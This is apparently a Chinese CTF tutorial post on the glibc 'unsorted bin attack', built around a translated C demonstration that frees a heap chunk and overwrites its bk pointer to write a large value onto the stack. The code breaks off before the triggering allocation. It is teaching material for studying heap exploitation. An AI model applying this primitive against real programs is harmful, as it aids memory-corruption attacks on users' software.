ctf-pwn-堆—unsorted bin attack

一、HITCON Training lab14 magic heap

参考链接1:原题链接

参考链接2:教程链接

0、运行环境

        unbuntu16.04

        glibc版本在2.3以下都行,2.23、2.24、2.27......都是小于2.3的glibc版本 

1、个人翻译过后的代码(翻译自参考链接2)

//原文件名:xy369
//编译指令:gcc -g -o xy369 xy369.c
#include<stdio.h>
#include<stdlib.h>

int main(){
	fprintf(stderr,"这段代码演示了如何利用unsorted bin attack"
			"向栈中写入一个很大的无符号长整形值\n");
	fprintf(stderr,"在实践中,"
			"unsorted bin attack一般是为进一步的攻击做准备,"
			"比如重写libc中的全局变量global_max_fast,"
			"用于进一步的fastbin攻击\n\n");
			
	unsigned long target_var = 0;
	
	fprintf(stderr,"首先来第一次看看我们想要重写的目标"
			"的栈地址及存储值:\n");
	fprintf(stderr,"%p(变量的栈地址) = %ld(变量的初始值)\n\n"
	,&target_var,target_var);
	
	unsigned long *p = malloc(400);
	
	fprintf(stderr,"现在,我们在堆上申请了一个普通的chunk,"
			"它的地址是:%p\n",p);
	fprintf(stderr,"同时我们再申请一个chunk来避免第一次申请的"
			"chunk在free()后与Top chunk合并\n\n");
	
	malloc(500);
	
	free(p);
	
	fprintf(stderr,"现在,我们free掉了第一个申请的chunk"
			"它将被回收进unsorted bin中"
			"同时它的 bk 指针指向:%p\n",(void *)p[1]);
	/*------------VULNERABILITY-----------*/

	p[1] = (unsigned long)(&target_var - 2);    
	fprintf(stderr, "现在复现一个可以 "
            "重写 victim->bk 指针的漏洞\n");
	fprintf(stderr, "同时我们将其重写为 目标地址 - 16 "   
            "(在32位机上,"
            " 应该重写它为 目标地址 - 8):%p\n\n",(void *)p[1]);

  //-----------------------
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值